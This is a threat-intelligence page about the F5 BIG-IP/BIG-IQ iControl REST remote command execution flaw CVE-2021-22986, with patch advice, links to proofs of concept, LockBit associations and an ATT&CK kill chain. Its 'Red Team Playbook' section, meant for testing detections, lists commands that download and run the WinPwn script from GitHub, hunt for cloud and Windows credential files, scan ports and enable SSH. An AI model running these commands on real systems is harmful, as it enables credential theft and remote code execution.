CVE-2021-22986

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 31/03 Upd 21/10

Overview

This vulnerability is an unauthenticated remote command execution flaw rooted in insufficient access controls on the iControl REST interface of BIG-IP and BIG-IQ products. The flaw arises from the improper validation of requests to specific management API endpoints, allowing attackers to execute arbitrary system commands without authentication. The affected component is the iControl REST API, specifically its handling of certain POST requests that interact with system utilities.

Vulnerability Description

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2, the iControl REST interface has an unauthenticated remote command execution vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.

Impact

An attacker can execute arbitrary system commands on the affected device without any authentication or user interaction. This enables full system compromise including unauthorized access to sensitive data, manipulation or disruption of network traffic, and potential lateral movement within the network. The vulnerability allows attackers to gain administrative control over BIG-IP and BIG-IQ systems, jeopardizing the confidentiality, integrity, and availability of critical infrastructure components.

Solution

Apply vendor-provided patches as detailed in the F5 advisory K03009991 available at https://support.f5.com/csp/article/K03009991. Specifically, upgrade BIG-IP to versions 16.0.1.1 or later, 15.1.2.1 or later, 14.1.4 or later, 13.1.3.6 or later, 12.1.5.3 or later, and BIG-IQ to 7.1.0.3 or later and 7.0.0.2 or later. Follow the official patch installation instructions in the advisory to ensure proper remediation of this vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question pertains to the iControl REST interface of specific versions of BIG-IP and BIG-IQ products, which allows for unauthenticated remote command execution. This critical flaw arises from improper validation of user input, enabling an attacker to execute arbitrary commands on the underlying system without requiring any form of authentication. The affected versions span multiple iterations of BIG-IP, including the Access Policy Manager, Advanced Firewall Manager, and various other modules, making this a widespread issue across numerous deployment scenarios.

Attack vectors for this vulnerability are particularly concerning due to the ease of exploitation. An attacker could leverage this flaw by sending specially crafted requests to the iControl REST API, which is often exposed to the internet or internal networks. Given that the interface does not require authentication, an attacker could remotely execute commands that could lead to system compromise, data exfiltration, or even complete control over the affected devices. Scenarios could include deploying malware, altering configurations, or launching further attacks against connected systems, thereby amplifying the threat landscape.

The real-world impact of this vulnerability is significant, particularly for organizations relying on these F5 products for critical application delivery and security functions. The potential for unauthorized access and control over network traffic management systems poses a severe business risk. Organizations could face operational disruptions, data breaches, and reputational damage, especially if sensitive data is compromised or if the systems are used to facilitate further attacks. The high CVSS score of 9.8 underscores the urgency for organizations to address this vulnerability promptly, as the consequences of exploitation could lead to extensive financial losses and regulatory repercussions.

To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is essential to conduct a thorough inventory of all deployed F5 products and assess their versioning against the known affected releases. Regular vulnerability scanning and penetration testing can help identify any instances of exploitation or exposure. Additionally, organizations should enforce strict access controls, ensuring that the iControl REST interface is not exposed to untrusted networks. Applying patches and updates provided by F5 is critical, as these updates often contain fixes for known vulnerabilities. Furthermore, employing intrusion detection systems (IDS) can help monitor for unusual activity associated with the exploitation of this vulnerability, enabling organizations to respond swiftly to potential threats.

In conclusion, the unauthenticated remote command execution vulnerability in the iControl REST interface of F5 BIG-IP and BIG-IQ products represents a serious threat to organizations utilizing these technologies. The combination of easy exploitation, significant potential impact, and the necessity for immediate remediation underscores the importance of proactive cybersecurity measures. Organizations must prioritize vulnerability management, implement robust security practices, and remain vigilant to protect their critical infrastructure from exploitation.




CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting the CVE-2021-22986 vulnerability, accompanied by the emergence of new proof-of-concept exploits circulating within attacker communities. This development indicates that adversaries are refining and expanding their toolsets to leverage this critical unauthenticated remote code execution flaw in F5 BIG-IP and BIG-IQ products. The persistence of ransomware groups such as LockBit variants exploiting this vulnerability underscores its continued attractiveness for high-impact intrusion campaigns. Although the overall exploitation trend remains relatively stable, the availability of additional exploitation resources lowers the barrier for threat actors, potentially broadening the pool of attackers capable of mounting successful intrusions. Consequently, the threat level associated with CVE-2021-22986 remains critically high, warranting sustained vigilance from defenders given the ongoing active exploitation and its proven use in ransomware operations.



Update 2 — July 03, 2026

CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2021-22986, accompanied by the emergence of additional publicly available proof-of-concept exploits. This subtle uptick in activity, while not indicative of a rapid escalation, signals sustained interest from threat actors, particularly ransomware groups such as LockBit variants, which continue to leverage this vulnerability for high-impact intrusions. The proliferation of new exploitation tools lowers the technical barrier for adversaries, potentially expanding the pool of attackers capable of mounting successful campaigns. Although the overall exploitation trend remains stable, these developments reinforce the critical nature of the vulnerability and underscore the persistent risk it poses to organizations relying on affected F5 BIG-IP and BIG-IQ systems. Defenders should remain alert to this ongoing threat landscape, as the combination of active exploitation and ransomware associations maintains the vulnerability’s status as a high-priority security concern.

Affected Products (73)

Vendor Product Version CPE
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Web Application Firewall All cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Web Application Firewall All cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Web Application Firewall All cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Web Application Firewall All cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Web Application Firewall All cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics All cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics All cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics All cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics All cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Analytics All cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
+53 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
F5 iControl REST Unauthenticated SSRF Token Generation RCE
exploits/linux/http/f5_icontrol_rest_ssrf_rce
wvu, Rich Warren Unknown - View

ExploitDB (1)

Title Author Type Platform Date Link
F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated) Al1ex webapps hardware - View

GitHub PoCs (18)

Repository Author Stars Forks Date Link
Al1ex/CVE-2021-22986
CVE-2021-22986 & F5 BIG-IP RCE
Al1ex 91 29 2021-03-22 View
dorkerdevil/CVE-2021-22986-Poc
This is a Poc for BIGIP iControl unauth RCE
dorkerdevil 51 10 2021-03-17 View
S1xHcL/f5_rce_poc
cve-2021-22986 f5 rce 漏洞批量检测 poc
S1xHcL 27 4 2021-03-19 View
Tas9er/CVE-2021-22986
Code By:Tas9er / F5 BIG-IP 远程命令执行漏洞
Tas9er 13 5 2021-03-29 View
west9b/F5-BIG-IP-POC
CVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC集合
west9b 10 2 2022-05-28 View
microvorld/CVE-2021-22986
F5 BIG-IP/BIG-IQ iControl Rest API SSRF to RCE
microvorld 0 9 2021-03-22 View
yaunsky/CVE-202122986-EXP
F5 BIG-IP远程代码执行;cve-2021-22986,批量检测;命令执行利用
yaunsky 8 1 2021-03-26 View
safesword/F5_RCE
CVE-2021-22986 F5 BIG-IP iControl 命令执行漏洞
safesword 4 5 2021-03-21 View
ZephrFish/CVE-2021-22986_Check
CVE-2021-22986 Checker Script in Python3
ZephrFish 3 2 2021-03-23 View
whatheheckisthis/CVE-2021-22986
Structured SecDevOps research platform modelling CVE-2021-22986 (F5 BIG-IP iControl REST unauthenticated RCE)
whatheheckisthis 0 0 2026-04-10 View
whatheheckisthis/Canonical-Extension-CVE-2021-22986
Exploit-Class Deterministic Control Validation System (ECD-CVS) grounded in CVE-derived failure class abstraction, enfor...
whatheheckisthis 0 0 2024-07-05 View
whatheheckisthis/BigIP-iControl-RCE-Research
Structured SecDevOps research platform modelling CVE-2021-22986 (F5 BIG-IP iControl REST unauthenticated RCE)
whatheheckisthis 0 0 2026-04-10 View
whatheheckisthis/bigip-icontrol-rce-research
Structured SecDevOps research platform modelling CVE-2021-22986 (F5 BIG-IP iControl REST unauthenticated RCE)
whatheheckisthis 0 0 2026-04-10 View
dotslashed/CVE-2021-22986
dotslashed 0 0 2021-03-29 View
amitlttwo/CVE-2021-22986
amitlttwo 0 0 2023-02-07 View
kiri-48/CVE-2021-22986
kiri-48 0 0 2021-03-22 View
huydung26/CVE-2021-22986
Custom POC of CVE-2021-22986 by Al1ex@Heptagram
huydung26 0 0 2023-12-28 View
Osyanina/westone-CVE-2021-22986-scanner
A vulnerability scanner that detects CVE-2021-22986 vulnerabilities.
Osyanina 0 0 2021-03-20 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 6

lockbit
CONFIRMED
5 victims
correlation_misp
2026-04-05
lockbit
CONFIRMED
5 victims
ransomware.live
2026-06-25
lockbit 20
CONFIRMED
correlation_misp
2026-04-05
lockbit green
CONFIRMED
correlation_misp
2026-04-05
lockbit black
CONFIRMED
correlation_misp
2026-04-05
lockbit 30
CONFIRMED
correlation_misp
2026-04-05

Threat Feed

44 events
2026-07-09
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2026-07-08
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2026-07-06
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2026-07-04
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2026-06-26
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2026-06-25
Exploited by lockbit

Ransomware group known to exploit this vulnerability (5 known victims)

2026-06-23
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2026-06-22
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2026-06-21
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2026-06-19
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2026-06-03
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2026-06-02
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2026-05-30
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2026-05-29
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2026-05-27
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2026-05-25
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Sighting activity recorded

2026-04-05
Exploited by lockbit

Ransomware group known to exploit this vulnerability (5 known victims)

2026-04-05
Exploited by lockbit 20

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit green

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit black

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit 30

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit

Ransomware group known to exploit this vulnerability (5 known victims)

2026-04-05
Exploited by lockbit 30

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit 20

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit green

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit black

Ransomware group known to exploit this vulnerability

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2021-03-17
PoC Published (18 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2021-03-10
Exploit Published (1 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
92% command_injection
Server-Side Request Forgery
64% ssrf
Remote Code Execution
62% rce
Authentication Bypass
48% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-664 Server Side Request Forgery
34%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

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References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-22986
support.f5.com
GitHub CVE x_refsource_MISC
https://support.f5.com/csp/article/K03009991
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/162066/F5-BIG-IP-16.0.x-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22986